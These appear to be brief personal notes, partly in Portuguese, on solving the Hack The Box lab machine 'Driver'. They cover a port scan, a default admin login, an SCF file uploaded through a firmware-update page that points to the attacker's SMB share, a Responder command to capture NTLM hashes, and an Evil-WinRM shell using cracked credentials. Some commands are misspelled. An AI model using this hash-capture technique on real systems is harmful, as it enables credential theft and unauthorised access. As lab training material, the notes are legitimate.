Driver

IP: 10.10.11.106

```
(kali® kali)-[~]
$ nmap 10.10.11.106 -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-04 22:22 EST
Nmap scan report for 10.10.11.106
Host is up (0.16s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
5985/tcp open wsman
Nmap done: 1 IP address (1 host up) scanned in 178.24 seconds
```

no web admin:admin

Ataque de scf

Arquivo a ser upado no servidor via o firmware update

[shell]

Command=2

lconFile=\<seu ip>\share\beco.ico

[Taskbar]

Command=ToggleDesktop

sudo python2 ./Responder.py -I tun0 -w -r -f --Im

pega a hash e quebra

```
(kali@kali)-[/opt/evil-winrm]
$ evilwin-rm -u TONY -p liltony -i 10.10.11.106

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\tony\Documents>
```

https://www.youtube.com/watch?v=zL2BXW0giBc